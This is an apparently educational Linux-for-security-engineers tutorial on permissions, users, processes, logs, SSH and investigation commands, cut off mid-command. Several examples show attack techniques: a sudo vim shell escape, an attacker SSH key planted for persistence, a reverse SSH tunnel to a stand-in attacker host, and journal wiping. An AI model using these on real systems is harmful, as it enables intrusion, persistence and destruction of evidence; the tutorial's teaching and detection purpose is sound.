Linux for Security Engineers
File permissions, processes, users, logs, and the commands every security professional uses daily. The OS that runs the internet.
// Part 01
Why Linux Is the Security Engineer's Operating System
Approximately 96% of the world's top 1 million web servers run Linux. Every major cloud provider's default compute instance is Linux. Docker containers run a Linux kernel. Most network appliances — firewalls, routers, load balancers — run Linux or a Linux-derived OS. If you are attacking or defending internet infrastructure, you are working with Linux.
Security tools — nmap, Wireshark, Metasploit, Burp Suite, most SIEM agents, most EDR agents — are built primarily for Linux. The command line is not an anachronism. It is the control plane for production systems. A security engineer who cannot navigate a Linux terminal comfortably is limited to tools that provide a GUI, which excludes most professional security work.
This module focuses on Linux specifically from the security perspective — not general Linux administration. You will learn the concepts and commands that appear on real incident response engagements, penetration tests, and security configurations. Each section explains both how attackers exploit Linux and how defenders use it to detect and respond.
// Part 02
The Filesystem — Structure and Security Implications
Linux organises everything in a single hierarchical filesystem starting at / (root). Understanding the filesystem layout is critical for security because each directory has a specific role, and deviations from expected content are indicators of compromise.
// Part 03
File Permissions — The Access Control System
Linux uses a discretionary access control system based on three permission types (read, write, execute) for three identity categories (owner, group, others). Every file and directory has a permission mask that determines who can do what.
$ ls -la /etc/shadow -rw-r----- 1 root shadow 1234 May 09 2026 /etc/shadow │││││││││ │││││││└── others: --- (no permissions) │││││││ │││││└─── group (shadow): r-- (read only) │││││ │││└───── owner (root): rw- (read and write) │││ │└─────── type: - = regular file, d = directory, l = symlink │ └──────── first character (file type)
Reading Permission Notation
Each permission set uses three characters: r (read), w (write), x (execute), - (not set). In numeric (octal) notation: r=4, w=2, x=1. Add them for each category.
Permission Symbolic Numeric Meaning rwxrwxrwx 777 Owner, group, and others can read, write, execute rwxr-xr-x 755 Owner can write; group and others can only read/execute rw-r--r-- 644 Owner can write; group and others can only read rw------- 600 Only owner can read and write — private key files r-------- 400 Read only by owner — maximum restriction chmod 755 script.sh # Set permissions numerically chmod +x script.sh # Add execute permission for everyone chmod go-w file.txt # Remove write from group and others
SUID, SGID, and Sticky Bit — Privilege Escalation Vectors
Three special permission bits exist beyond the basic rwx model, and all three are privilege escalation vectors when misconfigured:
SUID (Set User ID, bit 4000): When set on an executable, the program runs with the file owner's permissions, not the calling user's. /usr/bin/passwd is SUID root — a normal user can run it and it can modify /etc/shadow (which only root can normally write). If an attacker finds a SUID binary with a vulnerability, they can escalate to the file owner's privileges.
# Find all SUID binaries — attackers run this during privilege escalation $ find / -perm -4000 -type f 2>/dev/null /usr/bin/passwd /usr/bin/sudo /usr/bin/pkexec ← PwnKit vulnerability (CVE-2021-4034) — SUID pkexec → root /usr/local/bin/custom ← Non-standard SUID binary — investigate immediately
Sticky Bit (bit 1000): On a directory, prevents users from deleting or renaming files owned by other users. /tmp has the sticky bit set — all users can create files there, but only the file owner and root can delete them. Missing sticky bit on shared directories allows any user to delete others' files.
SGID (Set Group ID, bit 2000): On executables, runs with the file's group permissions. On directories, new files created inherit the directory's group rather than the creating user's primary group — useful for shared project directories.
File Ownership
$ chown root:root sensitive_file.txt # Set owner and group to root $ chown www-data:www-data webroot/ # Web server user owns web files $ chgrp developers project_dir/ # Change group ownership only # The /etc/passwd file structure — user database (no actual passwords) root:x:0:0:root:/root:/bin/bash www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin user1:x:1001:1001:John Doe:/home/user1:/bin/bash # username:password(x=shadow):UID:GID:GECOS:home:shell # UID 0 = root regardless of username
🎯 Pro Tip
During a penetration test, the first post-exploitation steps always include: finding SUID binaries (find / -perm -4000), finding world-writable directories (find / -perm -002), and checking sudo permissions (sudo -l). GTFOBins.github.io documents how common SUID binaries can be abused for privilege escalation — it is both an attacker reference and a defender's checklist for what to audit.
// Part 04
Users, Groups, and Privileges
The Root User
Root (UID 0) is the superuser — there are no permission restrictions. Root can read any file, write any file, kill any process, and modify any configuration. Most production systems run services as non-root users specifically to limit the damage if the service is compromised. A compromised www-data process can only access files that www-data can access; a compromised root process can access everything.
sudo — Delegated Privilege
sudo (superuser do) allows specific users or groups to run specific commands as root, controlled by /etc/sudoers. Properly configured sudo is safer than sharing the root password because it is granular and logged.
# /etc/sudoers — NEVER edit directly, use visudo
# Grant user john ability to restart nginx as root
john ALL=(ALL) /bin/systemctl restart nginx
# Grant group devops ability to run any command as root (dangerous — effectively root)
%devops ALL=(ALL) NOPASSWD: ALL
# Check your own sudo permissions
$ sudo -l
User john may run the following commands on server1:
(ALL) /bin/systemctl restart nginx
(ALL) /usr/bin/vim /etc/nginx/nginx.conf ← DANGEROUS: vim can spawn a shellThe last line is a classic privilege escalation: if sudo allows running vim as root on a specific file, an attacker runs sudo vim /etc/nginx/nginx.conf and types :!/bin/bash inside vim — getting a root shell. The GTFOBins project documents this pattern for dozens of common tools including vim, less, awk, python, perl, and many others.
/etc/passwd and /etc/shadow
# /etc/shadow — actual password hashes (root-readable only) root:$6$rounds=656000$salt$hashedpassword:18945:0:99999:7::: john:$6$rounds=656000$differenthash:18990:0:99999:7::: # Format: username:hash:lastchange:min:max:warn:inactive:expire: # Hash algorithm identifiers $1$ = MD5 (broken — trivially crackable) $2y$ = bcrypt (strong) $5$ = SHA-256 (acceptable) $6$ = SHA-512 (strong, default on modern Linux) $y$ = yescrypt (strongest, modern distributions)
If an attacker obtains /etc/shadow (requires root or shadow group membership), they can attempt offline password cracking with hashcat or John the Ripper. SHA-512 with a high round count is slow to crack — a strong password with these settings resists offline attacks for years. MD5 password hashes crack in seconds with modern GPUs.
Service Accounts
Services like web servers (www-data), databases (mysql), and mail servers (postfix) run as dedicated non-root users with login disabled (/usr/sbin/nologin as the shell). This is the principle of least privilege applied at the OS level. Compromising the web server process gives an attacker www-data permissions, not root. Proper service account configuration means: no shell, no home directory write access, no sudo, no group memberships beyond what the service requires.
// Part 05
Processes — What Is Running and Why It Matters
Process Management
# See all running processes with full details
$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 22548 9800 ? Ss 08:00 0:01 /sbin/init
www-data 4521 0.1 2.3 450000 94000 ? S 09:15 0:08 nginx: worker process
root 4999 0.0 0.0 4500 1200 pts/0 S+ 09:20 0:00 /tmp/suspicious ← investigate
# Real-time process monitoring
$ top
$ htop # Better interactive version
# Process tree — shows parent-child relationships
$ pstree -p | grep suspicious
nginx(4520)─┬─nginx(4521)
└─suspicious(4999) ← nginx spawned a suspicious child processWhat Attackers Do With Processes
Process injection: Attackers inject malicious code into legitimate processes to hide their activity. A malware module running inside a trusted sshd or apache2 process appears as a normal system process in ps output. Detection requires memory forensics tools that inspect process memory rather than just the process list.
Checking what a running process is actually executing:
# A process deleted its binary after starting (classic anti-forensics) $ ls -la /proc/4999/exe lrwxrwxrwx 1 root root 0 May 09 13:45 /proc/4999/exe -> /tmp/malware (deleted) # ↑ binary deleted # But we can still recover it from /proc $ cp /proc/4999/exe /tmp/recovered_malware # What files does the process have open? $ ls -la /proc/4999/fd/ # Check what network connections the process has $ cat /proc/4999/net/tcp
Network Connections — What Is Talking to the Internet
# Show all network connections and which processes own them $ ss -tulnp # modern replacement for netstat $ netstat -tulnp # older but still common Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* sshd tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:* nginx tcp ESTAB 0 0 10.0.0.5:4444 185.234.1.2:51234 bash ← reverse shell # The last line: bash has an established connection to an external IP on port 4444 # Port 4444 is a common Metasploit reverse shell port — this machine is compromised
Cron Jobs — Persistence Mechanism
Cron runs commands on a schedule. Attackers use cron to maintain persistence — even if their malware process is killed, cron will restart it on the next scheduled run.
# All cron locations to check during incident response /etc/crontab # System-wide cron /etc/cron.d/ # Drop-in cron files (easy for attackers to hide in) /etc/cron.daily/ # Scripts run daily /etc/cron.hourly/ # Scripts run hourly /var/spool/cron/crontabs/ # Per-user cron jobs crontab -l # Current user's cron (run as different users to check all) # Suspicious crontab entry * * * * * /tmp/.hidden_script # Runs every minute, hidden file in /tmp
// Part 06
Log Files — The Evidence Trail
Logs are the primary evidence source in incident response. Linux logs everything — authentication attempts, sudo usage, service starts and stops, kernel events. Understanding where logs live and how to read them is not optional for security work.
Reading Logs Effectively
# Failed SSH login attempts — brute force indicator $ grep "Failed password" /var/log/auth.log | tail -20 May 09 03:12:01 server sshd[4521]: Failed password for root from 185.234.1.2 port 51234 ssh2 May 09 03:12:02 server sshd[4521]: Failed password for root from 185.234.1.2 port 51235 ssh2 # 800 lines of this = brute force attack in progress # Successful login after failures — successful brute force $ grep "Accepted" /var/log/auth.log May 09 03:47:22 server sshd[4521]: Accepted password for root from 185.234.1.2 port 51890 ssh2 # Only one Accepted after hundreds of Failed = brute force succeeded # Sudo usage — who ran what as root $ grep "sudo:" /var/log/auth.log May 09 10:15:33 server sudo: john : TTY=pts/0 ; PWD=/home/john ; USER=root ; COMMAND=/bin/bash # ↑ escalated directly to shell — suspicious
journald — The Modern Log System
# Modern systemd systems use journald, queried with journalctl $ journalctl -u ssh --since "2026-05-09 00:00" --until "2026-05-09 12:00" $ journalctl -f # Follow new log entries (like tail -f) $ journalctl -p err # Show only error priority and above $ journalctl _COMM=sudo # Show all sudo invocations # journald stores logs in binary format — cannot be edited with a text editor # Attackers who know this will try to clear the journal entirely $ journalctl --vacuum-size=1K # Attackers may try this to destroy logs
🎯 Pro Tip
Always centralise logs to a remote SIEM or syslog server before you need them for incident response. If logs only exist on the compromised machine, an attacker who achieves root can delete them. "The attacker cleared the logs" is a common incident finding that leaves defenders blind to the full scope of what happened. Log centralisation is the single most important forensic preparedness step for Linux systems.
// Part 07
SSH — The Protocol That Controls Everything
SSH (Secure Shell) is the primary remote administration protocol for Linux. It encrypts all traffic between client and server. Understanding SSH deeply — both how to secure it and how attackers abuse it — is essential for anyone working in security.
SSH Key Authentication
# Generate an SSH key pair $ ssh-keygen -t ed25519 -C "security@company.com" # Creates two files: # ~/.ssh/id_ed25519 (PRIVATE KEY — never share, treat like a password) # ~/.ssh/id_ed25519.pub (public key — safe to distribute) # Add public key to a server $ ssh-copy-id user@server # copies to ~/.ssh/authorized_keys on server # The authorized_keys file — each line is a trusted public key $ cat ~/.ssh/authorized_keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... security@company.com ssh-ed25519 AAAAC3NzaC1lZDI1NTE5BBBBB... attacker@evil.com ← persistence mechanism # ↑ attackers add keys here
SSH Configuration Hardening
# /etc/ssh/sshd_config — critical security settings PermitRootLogin no # Never allow direct root SSH login PasswordAuthentication no # Force key-based auth — eliminates brute force PubkeyAuthentication yes # Allow key auth AuthorizedKeysFile .ssh/authorized_keys # Key file location MaxAuthTries 3 # Disconnect after 3 failed attempts LoginGraceTime 30 # Disconnect if not authenticated in 30s AllowUsers john maria ops # Whitelist — only these users can SSH Port 2222 # Non-default port (minor — stops automated scanners) X11Forwarding no # Disable X11 forwarding (attack surface) AllowTcpForwarding no # Disable port forwarding if not needed
SSH Tunneling — Legitimate and Abused
SSH can forward ports — creating encrypted tunnels through which other traffic flows. This is legitimate for accessing internal services and is heavily abused by attackers for pivoting and exfiltration.
# Local port forwarding — access remote service through SSH tunnel $ ssh -L 8080:internal-db:3306 jump-host # Connect to localhost:8080 to reach internal MySQL # Remote port forwarding — attacker's favourite for exfiltration $ ssh -R 4444:localhost:22 attacker.com # Expose victim's port 22 on attacker's server # Victim runs this → attacker can now SSH into victim from outside # Dynamic port forwarding — SOCKS proxy through SSH $ ssh -D 1080 jump-host # Everything through 1080 appears to come from jump-host # Often used to bypass firewall restrictions and route malicious traffic
// Part 08
Essential Security Commands — The Daily Toolkit
File Investigation
# Find recently modified files — useful for finding attacker-created files $ find / -mtime -1 -type f 2>/dev/null # Modified in last 24 hours $ find / -newer /etc/passwd -type f 2>/dev/null # Modified after /etc/passwd # Find world-writable files — privilege escalation targets $ find / -perm -002 -type f 2>/dev/null # Find SUID binaries — privilege escalation targets $ find / -perm -4000 -type f 2>/dev/null # Check file integrity $ sha256sum /usr/bin/passwd > baseline.txt # Create baseline $ sha256sum -c baseline.txt # Verify against baseline — changed = tampered # File type (ignores extension — attackers rename files) $ file suspicious_binary suspicious_binary: ELF 64-bit LSB executable, x86-64 # It's an executable regardless of name # Check for hidden files (start with .) $ ls -la /tmp/ # -a shows hidden files $ find / -name ".*" -type f 2>/dev/null
Network Investigation
# All listening ports and which process owns each $ ss -tulnp $ netstat -tulnp # All established connections — check for unexpected C2 connections $ ss -tnp state established $ netstat -tnp | grep ESTABLISHED # Resolve IP addresses from suspicious connections $ whois 185.234.1.2 # Who owns this IP? $ dig -x 185.234.1.2 # Reverse DNS lookup # ARP table — who is on the same network segment $ arp -n # Firewall rules $ iptables -L -n -v # Show all rules $ ufw status verbose # If using UFW
User and Authentication Investigation
# Who is currently logged in
$ who
$ w # More detail: what they are running
# Login history — when accounts were used
$ last # Shows all logins
$ last john # Logins for specific user
$ lastb # Failed login attempts (requires read permission)
# Account details
$ id john # UID, GID, group memberships
$ groups john # Group memberships
$ cat /etc/passwd | grep -v nologin | grep -v false # Users with real shells
# Check for new accounts (high UIDs)
$ awk -F: '$3 >= 1000 {print $1, $3}' /etc/passwd
# Check sudo configuration
$ cat /etc/sudoers
$ ls /etc/sudoers.d/ # Drop-in sudo rules (attackers add files here)Process Investigation
# Full process list with network state correlation
$ ps auxf # Full list in tree format
$ pstree -p # Tree with PIDs
# Processes with no associated binary on disk
$ for pid in $(ls /proc | grep -E '^[0-9]+$'); do
if [ -L /proc/$pid/exe ]; then
if [[ $(readlink /proc/$pid/exe) == *"(deleted)"* ]]; then
echo "PID $pid: $(readlink /proc/$pid/exe)"
fi
fi
done
# Environment variables of a running process (may reveal secrets)
$ cat /proc/4999/environ | tr '